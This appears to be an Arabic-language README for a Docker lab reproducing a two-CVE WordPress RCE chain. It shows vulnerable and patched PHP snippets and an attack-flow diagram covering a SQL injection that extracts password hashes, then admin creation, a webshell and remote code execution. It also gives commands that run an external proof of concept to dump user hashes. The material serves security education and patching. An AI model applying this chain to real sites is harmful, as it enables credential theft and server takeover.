
wp2shell (CVE-2026-63030 & CVE-2026-60137) - سلسلة RCE كاملة
wp2shell هي سلسلة من ثغرتين منخفضتي الخطورة بشكل مستقل في نواة ووردبريس، وعند دمجهما تسمحان لمهاجم عن بُعد غير مصادَق بـ:
| الخاصية | التفاصيل |
|---|---|
| CVEs | CVE-2026-63030 + CVE-2026-60137 |
| CVSS | 9.8 حرجة |
| المصادقة المطلوبة | لا شيء (قبل المصادقة) |
| متجه الهجوم | الشبكة |
| الإصدارات المتأثرة | ووردبريس 6.9.0–6.9.4 و7.0.0–7.0.1 |
| الإصدارات المُصحَّحة | 6.9.5 و7.0.2 (صدرت في 17 يوليو 2026) |
الملف: wp-includes/rest-api/class-wp-rest-server.php
تحتفظ الدالة serve_batch_request_v1() بمصفوفتين متوازيتين: $matches[] للمعالجات و$validation[] للنتائج. عندما يفشل طلب فرعي برسالة WP_Error (مسار مكسور)، يُدفع إلى $validation[] ولكن ليس إلى $matches[]. يؤدي هذا إلى إزاحة مؤشر بمقدار +1 — إذ يُوجَّه الطلب الفرعي i إلى المعالج المخصص للطلب الفرعي i+1.
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
$responses[] = envelope();
continue; // $matches[] NOT pushed ← BUG
}
// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
$matches[] = null; // ← FIX: keeps arrays in sync
$responses[] = envelope();
continue;
}
الملف: wp-includes/class-wp-query.php
تتوقع المعاملة author__not_in مصفوفة من الأعداد الصحيحة. عند تمرير سلسلة نصية، تدمج الدالة implode() القيمة الخام مباشرة في جملة SQL WHERE — دون تهريب ودون استخدام معاملات.
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';
// PATCHED (7.0.2)
$safe = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";
Unauthenticated Attacker
│
▼
POST /?rest_route=/batch/v1 ← Outer batch
sub-req 0: "///" → WP_Error → index shift (+1)
sub-req 1: POST /wp/v2/posts ← dispatched under BATCH handler
sub-req 2: POST /batch/v1 ← dummy
│
│ [Confusion #1 active]
▼
Inner batch (body of sub-req 1) ← schema never validated
inner 0: "///" → index shift (+1)
inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
dispatched under posts get_items()
│
│ [Confusion #2 active]
▼
WP_Query: author__not_in = raw string
│
▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
│
▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
│
▼
Crack hash OR crack-free oEmbed technique
│
▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE
| الأداة | التنزيل |
|---|---|
| Docker Desktop (Windows / macOS) | https://www.docker.com/products/docker-desktop |
| Docker Engine (Linux) | https://docs.docker.com/engine/install |
| Git | https://git-scm.com/downloads |
| Burp Suite Community (اختياري) | https://portswigger.net/burp/communitydownload |
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab
سترى هذه الملفات:
cve-2026-63030-lab/
├── docker-compose.yml ← defines WordPress + MySQL containers
├── Dockerfile ← custom image with Apache fix + wp-cli
├── init.sh ← configures permalink after install
└── fix-htaccess.ps1 ← Windows helper (run if Apache returns 404)
docker compose up -d --build
سيقوم هذا بما يلي:
تأكد من أن الحاويتين تعملان:
docker compose ps
المخرجات المتوقعة:
NAME STATUS
wp2shell-lab running
wp2shell-db running
افتح http://localhost:9090 في متصفحك واملأ الحقول التالية:
| الحقل | القيمة المقترحة |
|---|---|
| عنوان الموقع | CVE-2026-63030 |
| اسم المستخدم | admin |
| كلمة المرور | أي كلمة مرور |
| البريد الإلكتروني | [email protected] |
انقر تثبيت ووردبريس، ثم سجّل الدخول.
نفّذ هذا مرة واحدة بعد التثبيت:
Linux / macOS:
docker exec wp2shell-lab bash -c "
wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
wp rewrite flush --allow-root --path=/var/www/html
"
Windows PowerShell:
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"
المخرجات المتوقعة:
Success: Rewrite structure set.
Success: Rewrite rules flushed.
.\fix-htaccess.ps1
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5
إذا رأيت استجابة JSON تحتوي على "namespaces" — فالمختبر جاهز.
# Stop and remove everything including database
docker compose down -v
⚠️ لأغراض البحث الأمني المصرَّح به والتعليم فقط. لا تستخدمه إلا ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها.
سلسلة الاستغلال الكاملة (الكشف ← SQLi ← إنشاء مدير ← ويب شيل ← RCE) منفّذة في:
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt
# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090
# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090
ثلاثة ملفات، أقل من 10 أسطر من PHP:
| الملف | التغيير |
|---|---|
class-wp-rest-server.php | $matches[] = null كعنصر نائب لإبقاء المصفوفتين متزامنتين |
class-wp-query.php | تحويل (array) + array_map('absint', ...) |
class-wp-rest-posts-controller.php | نفس التعقيم في طبقة REST |
حدّث إلى ووردبريس 6.9.5 أو 7.0.2 لمعالجة الثغرات.
| المورد | الرابط |
|---|---|
| استشارة GitHub (CVE-2026-63030) | GHSA-ff9f-jf42-662q |
| استشارة GitHub (CVE-2026-60137) | GHSA-fpp7-x2x2-2mjf |
| إثبات المفهوم العام (PoC) | https://github.com/Icex0/wp2shell-poc |
صُنع بـ ❤️ بواسطة Black Security Team
هذا المستودع لأغراض تعليمية وللبحث الأمني المصرَّح به فقط. لا تختبر أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.